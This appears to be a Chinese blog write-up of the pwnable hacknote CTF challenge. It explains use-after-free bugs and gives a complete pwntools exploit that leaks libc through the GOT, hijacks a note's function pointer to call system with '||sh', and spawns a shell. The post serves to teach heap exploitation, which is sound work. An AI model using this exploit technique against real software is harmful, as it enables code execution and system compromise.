UAF


UAF


概述

use after free(UAF)是heap中十分常见的一个攻击漏洞,这个漏洞主要是因为程序员在malloc空间之后没有清空指针,同时也没有清空malloc的内容,导致了攻击者可以重复利用这个指针来进行操作,举个例子就是有一张政府官员的通行证,官员使用以后随手丢弃了,导致被一个百姓捡到,他拥有了使用的权限,导致滥用权力。


实验

环境准备

我们取pwnable_hacknote为例子,除了pie别的都开启了的一位32位的程序,静态分析一下,主要是这三个函数,我们可以观察到ptr数组是关键,用户申请的空间就是记录数据的一个chuck,然后再delete的时候可以发现没有删除指针,导致uaf漏洞的产生,比如说我们调用一个chuck里函数的时候呢,里面的函数是我们之前写进去的函数和数据,那不就产生漏洞了吗,正如下面所示(*ptr[index])(ptr[index]):我们就可以利用它了。

)

)

)

解析

int p1=malloc(0x80);
int p2=malloc(0x80);
free(p1);
free(p2);
//0x80进入unsorted bin,0x08进入fast bin
int p3=malloc(0x08);
//得到了p2的读写权限
show(0);
//直接使用chuck进行操作,创造了rwx空间

EXP

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
debug = 1
if debug==1:
	io = process("./hacknote")
else:
	io = remote("node4.buuoj.cn",26342)
elf = ELF("./hacknote")

def add(size,content):
	io.recvuntil("Your choice :")
	io.sendline("1")
	io.recvuntil("Note size :")
	io.sendline(str(size))
	io.recvuntil("Content :")
	io.send(content)

def delete(index):
	io.recvuntil("Your choice :")
	io.sendline("2")
	io.recvuntil("Index :")
	io.sendline(str(index))

def show(index):
	io.recvuntil("Your choice :")
	io.sendline("3")
	io.recvuntil("Index :")
	io.sendline(str(index))

puts_addre = 0x0804862b
read_addre = elf.got["read"]
add(0x80,'aaaa')
add(0x80,'bbbb')
delete(0)
delete(1)
payload = p32(puts_addre)+p32(read_addre)
add(8,payload)
show(0)
read_addre = u32(io.recv(4))
print(hex(read_addre))

libc = LibcSearcher("read",read_addre)
libcbase = read_addre-libc.dump("read")
system_addre = libcbase+libc.dump("system")

delete(2)
payload = p32(system_addre)+b'||sh'
add(8,payload)
show(0)
io.interactive()


文章作者: Dydong
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Dydong !
  目录